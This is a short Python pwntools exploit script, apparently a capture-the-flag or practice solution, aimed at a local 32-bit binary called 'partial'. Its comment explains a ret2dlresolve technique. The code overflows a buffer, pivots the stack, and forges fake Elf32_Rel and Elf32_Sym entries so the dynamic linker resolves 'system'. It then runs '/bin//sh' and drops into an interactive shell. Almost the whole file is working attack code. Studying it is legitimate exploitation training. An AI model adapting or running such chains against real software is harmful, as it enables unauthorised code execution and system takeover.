#!/usr/bin/env python
from pwn import *

context.arch = 'i386'

'''
Method #2 : fake .rel.plt Entry (from winesap)

let reloc_arg become a large value,so .rel.plt + reloc_arg
got in a memory space where we can control.
1. Make a fake Elf32_Rel struct.
    - r_offset at a writable address
    - r_info let &.dynsym[r_info>>8] controlable
2. Make a fake Elf32_Sym struct.
    - st_name let .dynstr + st_name controlable
    - other types the same
3. Put "system\x00" at .dynstr + st_name 
'''
r = process('./partial')

read = 0x08048300
memcpy = 0x08048310
plt0 = 0x80482f0
pop3 = 0x08048519
pop2 = 0x0804851a
pop1 = 0x0804851b
leave_ret = 0x080483c5

buf = 0x804a040
d = buf + 2048

dynamic = 0x08049f14 # dynamic section
relplt = 0x080482b4 
dynsym = 0x080481cc
dynstr = 0x0804822c

rop = flat(
    plt0, (d - relplt), 0xdeadbeef, d + 36
)

# d
data = flat(    # 0
    [buf, 0x7 | (((d+12-dynsym)/16)<<8)], 0, # (1) fake Elf32_Rel
    [d+28-dynstr, 0, 0, 0x12], # (2) fake Elf32_Sym
    'system\x00\x00',
    '/bin//sh'
)


raw_input('#')
r.send(('a'*14 + p32(buf+1024+4)).ljust(1024,'\x00') + rop.ljust(1024,'\x00') + data)


r.interactive()
